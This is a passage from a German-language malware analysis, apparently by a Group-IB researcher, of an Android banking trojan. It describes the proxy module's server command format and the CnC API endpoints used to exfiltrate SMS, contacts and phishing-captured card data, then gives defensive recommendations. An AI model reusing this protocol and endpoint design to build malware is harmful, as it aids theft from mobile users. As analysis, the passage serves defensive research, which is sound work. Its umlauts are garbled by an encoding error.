- simOperator â Der Dienstanbieternamen (SPN). Wenn wĂ€hrend der Abfrage des Wertes ein Fehler aufgetreten ist, wird an dieser Stelle eine Fehlermeldung angezeigt.
- Version â dieses Feld wird in der Konfigurationsklasse gespeichert, fĂŒr die betrachteten Bot-Versionen war es gleich â1.6â.
5. Wechselt in den Wartemodus auf Befehle vom Server. Befehle vom Server werden im Format empfangen:
- 0 offset â Befehl
- 1 offset â sessionId
- 2 offset â LĂ€nge
- 4 offset â Daten
Bei Empfang eines Befehls protokolliert die Anwendung:
mainLog(âHeader { sessionId<%id%>], type[<%command%>], length[<%length%>] }â)
Folgende Befehle vom Server sind möglich:
| Name | Befehl | Data | Beschreibung |
|---|---|---|---|
| connectionId | 0 | Verbindungs-ID | Eine neue Verbindung erstellen |
| SLEEP | 3 | Zeit | Den Proxy-Modulbetrieb pausieren |
| PING_PONG | 4 | â | Sende PONG-Nachricht |
Die PONG-Nachricht besteht aus 4 Bytes und sieht wie folgt aus: 0x04000000.
Beim Empfang des Befehls connectionId (zur Erstellung einer neuen Verbindung) CommandConnection wird eine Instanz der Klasse ProxyConnection.
- Bei der Proxyschaltung sind zwei Klassen beteiligt: ProxyConnection und end. Bei der Erstellung der Klasse ProxyConnection wird eine Verbindung zur Adresse ProxyConfigClass.host: ProxyConfigClass.proxyPort hergestellt und ein JSON-Objekt ĂŒbergeben:
{
"id":<%connectionId%>
}Als Antwort sendet der Server eine SOCKS5-Nachricht, die die Adresse des Remote-Servers enthĂ€lt, mit dem eine Verbindung hergestellt werden muss. Die Interaktion mit diesem Server erfolgt ĂŒber die Klasse end. Schematisch kann die Verbindungsherstellung wie folgt betrachtet werden:

Netzwerkinteraktionen
Um die Analyse des Datenverkehrs durch Netzwerk-Sniffer zu verhindern, kann die Interaktion zwischen dem CnC-Server und der Anwendung durch das SSL-Protokoll geschĂŒtzt werden. Alle ĂŒbertragenen Daten, sowohl vom Server als auch zum Server, werden im JSON-Format dargestellt. WĂ€hrend des Betriebs fĂŒhrt die Anwendung die folgenden Anfragen durch:
- http:///api/v1/set_state.php â das Ergebnis der AusfĂŒhrung des Befehls.
- http:///api/v1/get.php â das Abrufen eines Befehls.
- http:///api/v1/load_sms.php â das Herunterladen von SMS-Nachrichten vom infizierten GerĂ€t.
- http:///api/v1/load_ab.php â das Herunterladen der Kontaktliste vom infizierten GerĂ€t.
- http:///api/v1/aevents.php â die Anfrage wird bei der Aktualisierung der im Preference-File befindlichen Parameter ausgefĂŒhrt.
- http:///api/v1/set_card.php â das Herunterladen von Daten, die ĂŒber ein Phishing-Fenster erhalten wurden, das sich als Google Play Market tarnt.
- http:///api/v1/logs.php â das Herunterladen von Log-Daten.
- http:///api/v1/records.php â das Herunterladen von Daten, die ĂŒber Phishing-Fenster erlangt wurden.
- http:///api/v1/set_error.php â Benachrichtigung ĂŒber einen aufgetretenen Fehler.
Empfehlungen
Um ihre Kunden vor der Bedrohung durch mobile Trojaner zu schĂŒtzen, mĂŒssen Unternehmen umfassende Lösungen einsetzen, die ohne Installation zusĂ€tzlicher Software auf den EndgerĂ€ten der Nutzer schĂ€dliche AktivitĂ€ten ĂŒberwachen und warnen können.
Dazu mĂŒssen die signaturbasierten Methoden zur Erkennung mobiler Trojaner durch Verhaltensanalysen sowohl des Clients als auch der Applikation verstĂ€rkt werden. Der Schutz sollte zudem eine Funktion zur Identifizierung von GerĂ€ten mithilfe der digitalen Fingerprint-Technologie umfassen, sodass erkannt werden kann, wenn ein Konto von einem atypischen GerĂ€t genutzt wird, das bereits in die HĂ€nde von BetrĂŒgern gefallen ist.
Ein entscheidender Aspekt ist die Möglichkeit zur kanalĂŒbergreifenden Analyse, die es Unternehmen ermöglicht, Risiken zu kontrollieren, die nicht nur im Internet-, sondern auch im Mobilkanal entstehen, beispielsweise in mobilen Banking-Anwendungen, bei KryptowĂ€hrungstransaktionen und in allen anderen Bereichen, in denen finanzielle Transaktionen stattfinden können.
Sicherheitsregeln fĂŒr Nutzer:
- Installieren Sie keine Anwendungen fĂŒr das Android-Betriebssystem aus anderen Quellen als Google Play und achten Sie besonders auf die angeforderten Berechtigungen der Apps.
- Installieren Sie regelmĂ€Ăig Updates fĂŒr das Android-Betriebssystem.
- Achten Sie auf die Dateierweiterungen heruntergeladener Dateien.
- Besuchen Sie keine verdÀchtigen Websites.
- Klicken Sie nicht auf Links, die Sie in SMS-Nachrichten erhalten.
Beteiligt an Semena Rogacheva, Junior Malware Research Specialist in der Computerforensik-Labor von Group-IB.
Quelle: habr.com
